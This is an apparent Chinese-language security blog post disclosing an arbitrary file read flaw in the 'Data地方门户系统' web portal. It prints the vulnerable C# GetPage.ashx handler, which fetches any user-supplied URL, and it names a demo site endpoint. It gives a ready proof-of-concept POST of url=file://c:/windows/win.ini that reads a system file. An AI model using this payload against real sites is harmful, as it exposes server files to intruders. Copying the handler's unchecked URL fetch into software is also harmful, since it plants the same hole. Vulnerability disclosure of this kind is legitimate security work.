Data地方门户系统 任意文件读取

时间:2015-1-14    作者:admin    分类: 技术交流


官网:http://htmdata.com/

demo站点 http://demo.htmdata.com/


Power by Data地方门户系统


地址


http://demo.htmdata.com/ashx/GetPage.ashx



主要源码如下

public void ProcessRequest(HttpContext context)

{

    context.Response.ContentType = "text/plain";

    string s = "";

    string requestUriString = Tool.CStr(context.Request["url"]);

    try

    {

        WebRequest request = WebRequest.Create(requestUriString);

        WebResponse response = request.GetResponse();

        Stream responseStream = response.GetResponseStream();

        using (StreamReader reader = new StreamReader(responseStream, Encoding.UTF8))

        {

            s = reader.ReadToEnd();

        }

        request.Abort();

        response.Close();

        responseStream.Dispose();

    }

    catch (Exception)

    {

    }

    context.Response.Write(s);

}





如果url为file://url 就可以下载任意文件了

官网

访问

http://demo.htmdata.com/ashx/GetPage.ashx



post提交

url=file://c:/windows/win.ini


331.png

标签: Data地方门户 任意 读取